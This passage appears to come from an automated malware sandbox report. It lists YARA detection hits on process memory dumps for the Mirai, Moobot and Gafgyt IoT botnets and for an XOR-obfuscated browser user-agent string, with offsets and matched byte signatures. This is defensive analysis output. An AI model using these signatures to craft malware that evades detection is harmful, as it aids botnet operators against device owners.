2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6363.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6925.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6925.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6925.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6925.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6925.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6925.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6477.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6477.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6477.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6477.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6477.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6477.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7273.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7367.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6809.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6809.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6809.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6809.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6809.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6809.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7012.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6781.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6279.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6279.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6279.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6279.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6279.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6279.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7152.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6363.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7254.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7254.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7254.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7254.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7254.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
